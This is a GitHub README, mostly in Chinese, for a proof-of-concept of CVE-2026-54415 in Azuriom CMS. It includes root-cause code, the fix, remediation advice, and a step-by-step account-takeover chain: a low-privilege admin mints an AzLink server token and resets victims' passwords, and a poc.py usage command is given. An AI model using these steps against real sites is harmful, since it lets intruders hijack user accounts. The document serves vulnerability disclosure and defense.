abdugafforov-bobur/CVE-2026-54415-PoC

GitHub: abdugafforov-bobur/CVE-2026-54415-PoC

针对 Azuriom CMS 访问控制失效漏洞(CVE-2026-54415)的概念验证工具,演示了从低权限管理员到账户接管的完整利用链。

Stars: 2 | Forks: 0

# CVE-2026-54415 — Azuriom CMS 访问控制失效 → 账户接管 **Azuriom CMS `< 1.2.11` 的管理员服务器管理路由缺少授权,导致任何低权限管理员(仅拥有 `admin.access`)都能生成 AzLink server token 并接管任何非管理员账户。** | | | |---|---| | **CVE** | CVE-2026-54415 | | **产品** | [Azuriom CMS](https://github.com/Azuriom/Azuriom) | | **受影响版本** | `< 1.2.11` | | **修复版本** | [`1.2.11`](https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11) — commit [`4b744bc`](https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e) | | **CWE** | CWE-862 (缺少授权), CWE-269 (权限管理不当) | | **CVSS 3.1** | 8.1 高危 — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **CVSS 4.0** | 8.6 高危 — `AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` | ✅ **已针对本地 Azuriom 1.2.10 实例进行端到端验证** — 包括访问控制绕过、token 生成、确认密码更改 + 受害者登录,以及管理员保护边界。 ## 根本原因 在 `routes/admin.php` 中,整个管理员面板仅由单个 `can:admin.access` 组进行限制,而每个敏感功能原本应添加各自细粒度的 `can:admin.*` middleware。在 `1.2.11` 之前,**服务器管理路由未附带任何此类 middleware**: ``` // routes/admin.php (vulnerable, < 1.2.11) Route::resource('servers', ServerController::class)->except('show'); Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink'); Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default'); ``` 因此,任何能够进入管理员面板的用户(`admin.access`)都可以创建服务器。根本不存在 `admin.servers` 权限——直到该修复发布前它都不存在。 ### 修复方案 (1.2.11) 供应商**创建了一个新的 `admin.servers` 权限**,并使用它包裹了这些路由: ``` // routes/admin.php (fixed, 1.2.11) Route::middleware('can:admin.servers')->group(function () { Route::resource('servers', ServerController::class)->except('show'); Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink'); Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default'); }); ``` 同一个 commit 还向 `social-links` 和 `pages/posts.attachments` 路由添加了之前缺失的权限检查。 ## 为什么创建服务器 = 账户接管 创建服务器会生成一个 32 字符的 **server token** (`app/Http/Controllers/Admin/ServerController.php`): ``` $server = new Server([...$request->validated(), 'token' => Str::random(32), ...]); ``` 该 token 用于对 **AzLink API** (`routes/api.php`) 进行身份验证,其 `VerifyServerToken` middleware 会信任任何携带有效 `Azuriom-Link-Token` header 的请求。AzLink 暴露了账户管理 endpoint: ``` POST /api/azlink/password → change a user's password by game_id POST /api/azlink/email → change a user's email by game_id POST /api/azlink/register → create users POST /api/azlink/user/{id}/money/{add,remove,set} ``` `updatePassword` 仅在目标 `isAdmin()` 时拒绝执行 — 因此每个**非管理员**账户都可以被接管: ``` public function updatePassword(Request $request) { // validates game_id + password $user = User::where('game_id', $request->input('game_id'))->firstOrFail(); if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected $user->update(['password' => $request->input('password')]); ... } ``` ### 该 token 不需要可访问的游戏服务器 服务器创建在保存之前会调用 `$server->bridge()->verifyLink()`。对于 **`mc-azlink`** 类型,这会无条件返回 true: ``` // app/Games/Minecraft/Servers/AzLink.php public function verifyLink(): bool { return true; } ``` 因此,攻击者可以提供任何虚假的 `address`,服务器仍会保存,并且全新的 token 会显示在面板的 AzLink 设置命令中(`/azlink setup `)。 ## 利用链 ``` 1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist) 2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted 3. GET /admin/servers/{id}/edit → read token from setup command 4. POST /api/azlink/password (header Azuriom-Link-Token: ) game_id=&password= 5. Log in as the victim → full account takeover ``` ## 用法 ``` python3 poc.py \ --url https://target.example \ --admin-user lowpriv_admin --admin-pass 'password' \ --victim-game-id 1001 \ --new-password 'Pwn3d!TakenOver' ``` 该脚本会进行登录,生成一个 server token,将其提取出来,通过 AzLink 重置受害者的密码,并打印出 token 和结果。有关所有标志,请参阅 `poc.py --help`。需要 `requests` (`pip install requests`)。 ## 修复建议 - **升级到 Azuriom `1.2.11` 或更高版本。** - 审查 `admin_servers` 并撤销任何意外的 server token。 - 应用最小权限原则:审查哪些角色拥有 `admin.access` 权限。 ## 披露信息 - **研究员 / 报告者:** Bobur Abdugafforov ([@abdugafforov-bobur](https://github.com/abdugafforov-bobur)) - 分配 CNA:**TuranSec** - 发布日期:**2026-06-17** - 供应商已在 `1.2.11` 中修复 ## 参考 - 修复 commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e - 发布版本: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415 ## 许可证 MIT — 仅用于授权的安全测试和研究。
标签:Azuriom CMS, PoC, Web安全, 暴力破解, 蓝队分析, 账户接管, 越权漏洞, 逆向工具